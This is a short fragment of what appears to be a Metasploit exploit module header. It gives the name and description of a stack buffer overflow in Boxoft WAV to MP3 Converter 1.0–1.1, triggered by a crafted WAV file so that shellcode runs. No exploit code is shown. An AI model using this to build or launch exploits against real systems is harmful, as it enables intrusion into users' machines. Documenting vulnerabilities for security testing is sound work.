'Name' => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",  
'Description' => %q{  
This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.  
By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the  
application, a buffer is overwritten, which allows for running shellcode.
